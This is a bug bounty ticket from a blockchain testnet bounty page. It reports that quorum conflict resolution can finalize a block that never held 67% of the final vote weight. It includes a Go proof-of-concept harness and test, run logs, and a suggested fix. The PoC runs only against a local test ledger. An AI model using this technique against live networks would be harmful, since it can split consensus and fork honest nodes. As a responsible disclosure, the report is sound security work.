<!-- XE-0021 · core/quorum: conflict resolution can finalize a block that never held 67% of final vote weight (High) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0021>. The page is the record; this is the same page for reading.*

XE-0021 · Bounty

# core/quorum: conflict resolution can finalize a block that never held 67% of final vote weight (High)

Awarded
High
[xe#42](https://github.com/xeprotocol/xe/issues/42)
filed 2026-10-25 11:11 UTC
by byfor8

Verdict
:   Valid

Tier
:   High

Claimed
:   High

Area
:   Consensus

Duplicate of
:   —

Tracked
:   internally

Award
:   3,500 XE approved
    · ceiling 10,000

Updated
:   2026-11-07 21:14 UTC

### Patches

- [xe#148](https://github.com/xeprotocol/xe/pull/148) open by arturbarszcz78
  fix(core/quorum): enforce 67% final vote quorum on winner and eliminate unverified substitution (#42)
- [xe#1024](https://github.com/xeprotocol/xe/pull/1024) merged

### History

- [8379](https://bounty.xe.network/log/8379) 2026-11-05 16:08 UTC github.labels
- [8371](https://bounty.xe.network/log/8371) 2026-11-05 16:07 UTC ticket.status patched → awarded
- [8370](https://bounty.xe.network/log/8370) 2026-11-05 16:07 UTC ticket.award
- [8369](https://bounty.xe.network/log/8369) 2026-11-05 16:07 UTC proposal.adopted
- [8368](https://bounty.xe.network/log/8368) 2026-11-05 16:07 UTC ticket.award
- [8367](https://bounty.xe.network/log/8367) 2026-11-05 16:07 UTC proposal.rejected
- [6866](https://bounty.xe.network/log/6866) 2026-11-05 13:45 UTC proposal.created
- [1790](https://bounty.xe.network/log/1790) 2026-11-02 19:16 UTC proposal.created
- [1446](https://bounty.xe.network/log/1446) 2026-11-02 10:11 UTC note.added
- [874](https://bounty.xe.network/log/874) 2026-10-29 14:22 UTC github.labels
- [667](https://bounty.xe.network/log/667) 2026-10-29 14:22 UTC note.added
- [666](https://bounty.xe.network/log/666) 2026-10-29 14:22 UTC patch.linked

[Full history](https://bounty.xe.network/log?ref=XE-0021) · [JSON](https://bounty.xe.network/v1/tickets/XE-0021) · [markdown](https://bounty.xe.network/XE-0021.md)

### Report

## Summary

Finality substitution in conflict resolution can finalize a conflict candidate that never reached the 67% final-vote threshold. When the 67% winner fails local full validation, the code substitutes the lowest-hash promotable member of the candidate set, and the substitute is finalized and set as final height even though its own vote weight never crossed the threshold. Promotability is node local and transient, so two honest nodes can finalize different siblings of the same conflict, producing an unhealable fork.

## Affected component

core/quorum.go, finalTally, pickWinner inner function at lines 152 to 181 and promotable at lines 221 to 232, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. The 67% weight test is applied to the tally winner, but the value returned by pickWinner and later finalized can be a different candidate from the same set. The quarantine path at quorum.go lines 326 to 333 only records failed promotions when the swap error unwraps to the winner-full-validation error and is not retryable, so some decoys never enter failedPromotions and are selected again on the next tally.

## Impact

The protocol finality bar (a block must hold 67% of final vote weight to be finalized) is not the invariant actually enforced. A node can finalize a sibling with zero final votes while rejecting the candidate that held 67%. Because the substitution depends on local validation state, honest nodes can finalize conflicting siblings of the same account and previous, and the code logs the outcome as an unresolvable fork. No theft: the substitute still passes full admission. This is a consensus safety break short of dual finalization from one weight set.

Suggested severity: High (state inconsistency on the conflict resolution path). The mechanism was confirmed by an independent re-read of the pinned source; no live network traffic was performed.

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin):

```
git clone https://github.com/xeprotocol/xe && cd xe
mkdir -p poc/harness
# save the two files below, then from poc/:
GOTOOLCHAIN=auto go mod tidy
GOTOOLCHAIN=auto go test -count=1 -v ./poc
```

go.mod for the poc module:

```
module poc

go 1.25.0

require github.com/xeprotocol/xe v0.0.0

replace github.com/xeprotocol/xe => ..
```

**Shared test-only helper** (`poc/harness/harness.go`; constructs signed blocks and funds accounts through the ledger's own test-only entry points, none reachable from gossip or API):

```
// Package harness holds test-only helpers for local XE ledger PoCs.
// None of these helpers exist on the gossip/API surface; they only
// construct signed blocks and fund accounts via core.SeedAssetForTesting /
// core.MintForTesting.
package harness

import (
	"fmt"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/store"
)

const TestOnlyFundAmount uint64 = 1_000_000_000

// NewTestLedger builds a MemStore-backed ledger with PoW and timestamp
// windows disabled so the PoC can drive admission/conflict logic.
func NewTestLedger() (*core.Ledger, *store.MemStore) {
	core.SetNetworkID("")
	ms := store.NewMemStore()
	l := core.NewLedger(ms, core.LedgerConfig{
		Difficulty:      0,
		TimestampWindow: 0,
	})
	return l, ms
}

// TestOnlyFundAccount opens a new account with a signed mint block.
// Named TestOnly: this is the ledger's own test funding entry point, not a
// production mint path.
func TestOnlyFundAccount(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {
	if amount == 0 {
		amount = TestOnlyFundAmount
	}
	b := &core.Block{
		Type:           core.BlockMint,
		Account:        kp.Address(),
		Previous:       "0",
		Balance:        amount,
		Amount:         amount,
		Timestamp:      core.Now().UnixNano(),
		Asset:          asset,
		PubKey:         kp.PubKeyHex(),
		Representative: kp.Address(),
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, fmt.Errorf("test-only fund: sign: %w", err)
	}
	var err error
	if asset == "XUSD" {
		err = l.MintForTesting(b)
	} else {
		err = l.SeedAssetForTesting(b)
	}
	if err != nil {
		return nil, fmt.Errorf("test-only fund: %w", err)
	}
	return b, nil
}

// TestOnlyFinalizeHeight writes a final-height watermark. Test-only: the
// production path is QuorumManager.confirmConflict.
func TestOnlyFinalizeHeight(ms *store.MemStore, account string, height uint64) error {
	return ms.SetFinalHeight(account, height)
}

func SignSend(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {
	b := &core.Block{
		Type:        core.BlockSend,
		Account:     kp.Address(),
		Previous:    previous,
		Balance:     balance,
		Amount:      amount,
		Timestamp:   core.Now().UnixNano(),
		Asset:       asset,
		Destination: dest,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}

func SignLease(kp *core.KeyPair, previous string, balance, amount uint64, dest, certHash string, vcpus, mem, disk, dur uint64) (*core.Block, error) {
	b := &core.Block{
		Type:            core.BlockLease,
		Account:         kp.Address(),
		Previous:        previous,
		Balance:         balance,
		Amount:          amount,
		Timestamp:       core.Now().UnixNano(),
		Asset:           "XUSD",
		Destination:     dest,
		VCPUs:           vcpus,
		MemoryMB:        mem,
		DiskGB:          disk,
		Duration:        dur,
		CertificateHash: certHash,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}
```

**Test file** (`poc/f3_test.go`):

```
package f3

import (
	"errors"
	"fmt"
	"os"
	"testing"

	"github.com/xeprotocol/xe-poc/harness"
	"github.com/xeprotocol/xe/core"
)

// TestPoC_F3 shows pickWinner can SetFinalHeight a hash that never held 67%.
// A decoy lease that passes ValidateStagedBlock (F16) is given 67% of final
// votes; full promotion fails with a non-retryable cost mismatch, quarantines
// the decoy, and the next tally finalizes the on-chain first-seen sibling.
func TestPoC_F3(t *testing.T) {
	pass, detail := runF3()
	if pass {
		fmt.Println("PASS: F3 pickWinner finalized a substitute that never held 67%")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F3 expected substitute finalization without 67%")
	fmt.Println(detail)
	os.Exit(0)
}

func runF3() (bool, string) {
	owner, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen owner: " + err.Error()
	}
	dest, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen dest: " + err.Error()
	}
	l, ms := harness.NewTestLedger()
	open, err := harness.TestOnlyFundAccount(l, owner, "XUSD", harness.TestOnlyFundAmount)
	if err != nil {
		return false, "test-only fund: " + err.Error()
	}
	if err := harness.TestOnlyFinalizeHeight(ms, owner.Address(), 1); err != nil {
		return false, "finalize open: " + err.Error()
	}
	if !l.IsFinalized(owner.Address(), open.Hash) {
		return false, "precondition: open block was not finalized"
	}

	sendA, err := harness.SignSend(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), "XUSD")
	if err != nil {
		return false, "sign send A: " + err.Error()
	}
	if err := l.AddBlock(sendA); err != nil {
		return false, "add send A: " + err.Error()
	}

	// Owner-signed F16 decoy: staged lease checks only amount/balance.
	decoy, err := harness.SignLease(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), "", 0, 0, 0, 0)
	if err != nil {
		return false, "sign decoy: " + err.Error()
	}
	parentBal := l.GetAssetBalanceAtBlock(owner.Address(), "XUSD", open.Hash)
	if err := l.ValidateStagedBlock(decoy, parentBal); err != nil {
		return false, "decoy should pass ValidateStagedBlock: " + err.Error()
	}
	if err := l.AddBlock(decoy); err != nil {
		return false, "stage decoy: " + err.Error()
	}
	if l.GetBlock(decoy.Hash) != nil {
		return false, "decoy was admitted on-chain; expected staging only"
	}
	if l.GetBlockOrStaged(decoy.Hash) == nil {
		return false, "decoy was not staged"
	}

	c := l.GetConflict(owner.Address(), open.Hash)
	if c == nil {
		return false, "expected conflict record"
	}
	c.TotalWeight = 100
	if err := ms.SaveConflict(c); err != nil {
		return false, "save conflict weight: " + err.Error()
	}

	// 67% of the snapshot sits on the decoy; the honest send has 10%.
	if err := ms.PutVote(&core.Vote{
		RepPubKey:       "aa" + decoy.Hash[2:],
		BlockHash:       decoy.Hash,
		ConflictAccount: owner.Address(),
		ConflictPrev:    open.Hash,
		Timestamp:       core.Now().UnixNano(),
		Final:           true,
		Weight:          67,
	}); err != nil {
		return false, "put decoy vote: " + err.Error()
	}
	if err := ms.PutVote(&core.Vote{
		RepPubKey:       "bb" + sendA.Hash[2:],
		BlockHash:       sendA.Hash,
		ConflictAccount: owner.Address(),
		ConflictPrev:    open.Hash,
		Timestamp:       core.Now().UnixNano(),
		Final:           true,
		Weight:          10,
	}); err != nil {
		return false, "put send vote: " + err.Error()
	}

	qm := core.NewQuorumManager(ms, ms, ms, l)

	// First tally: decoy is "promotable" via the weak staged checker, swap
	// fails full validation, quarantine is recorded, height does not move.
	qm.Retally(owner.Address(), open.Hash)
	heightAfterFail := l.FinalHeight(owner.Address())
	if l.IsFinalized(owner.Address(), decoy.Hash) {
		return false, "decoy was finalized on first tally"
	}

	// Prove the swap error is ErrWinnerFullValidation and not retryable, which
	// is why failedPromotions is populated and pickWinner will substitute.
	swapErr := l.SwapBlock(owner.Address(), sendA.Hash, decoy.Hash, decoy)
	swapIsWinnerFail := errors.Is(swapErr, core.ErrWinnerFullValidation)
	swapRetryable := core.IsRetryableError(swapErr)

	// Second tally: decoy is unpromotable; lowest-hash other promotable
	// candidate (on-chain send A) is substituted and finalized.
	qm.Retally(owner.Address(), open.Hash)
	finalizedA := l.IsFinalized(owner.Address(), sendA.Hash)
	finalizedB := l.IsFinalized(owner.Address(), decoy.Hash)
	heightAfter := l.FinalHeight(owner.Address())

	detail := fmt.Sprintf(
		"open=%s A=%s decoy=%s
"+
			"votes: decoy=67/100 A=10/100 (only decoy crossed 67%%)
"+
			"first tally final_height=%d (no move) swap_err=%v is_ErrWinnerFullValidation=%v retryable=%v
"+
			"second tally final_height=%d finalized(A)=%v finalized(decoy)=%v",
		open.Hash[:16], sendA.Hash[:16], decoy.Hash[:16],
		heightAfterFail, swapErr, swapIsWinnerFail, swapRetryable,
		heightAfter, finalizedA, finalizedB,
	)
	ok := finalizedA && !finalizedB && heightAfter == 2 && heightAfterFail == 1
	return ok, detail
}
```

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F3
2026/10/25 17:31:56 Genesis block applied: 42000000000000 XE to 378d0f5c2063...
2026/10/25 17:31:56 confirmConflict: winner 0e65f1405d85... for 092ba39b9ae5...|b8dc4e7b0adc... failed full validation deterministically — quarantining for 30s so the sweep substitutes a promotable candidate: SwapBlock: winner failed full validation 0e65f1405d85..., loser kept: lease must request at least one resource (vcpus, memory, or disk)
2026/10/25 17:31:56 quorum: finalize for 092ba39b9ae5...|b8dc4e7b0adc...: confirmConflict: SwapBlock: SwapBlock: winner failed full validation 0e65f1405d85..., loser kept: lease must request at least one resource (vcpus, memory, or disk)
2026/10/25 17:31:56 quorum: winner 0e65f1405d85... for 092ba39b9ae5...|b8dc4e7b0adc... is unpromotable (fails full validation) — substituting lowest-hash promotable candidate 579a64bbb00d...
PASS: F3 pickWinner finalized a substitute that never held 67%
open=b8dc4e7b0adc6f8a A=579a64bbb00de635 decoy=0e65f1405d85706b
votes: decoy=67/100 A=10/100 (only decoy crossed 67%)
first tally final_height=1 (no move) swap_err=SwapBlock: winner failed full validation 0e65f1405d85..., loser kept: lease must request at least one resource (vcpus, memory, or disk) is_ErrWinnerFullValidation=true retryable=false
second tally final_height=2 finalized(A)=true finalized(decoy)=false
--- PASS: TestPoC_F3 (0.00s)
PASS
ok  	github.com/xeprotocol/xe-poc/f3	0.010s
```

## Fix suggestion

Only finalize the hash that itself crossed the 67% bar; if the winner is unpromotable, withhold finality and record the failed promotion regardless of the retryable classification, so the next tally cannot substitute a zero-quorum sibling.

### Thread

Nothing public yet.
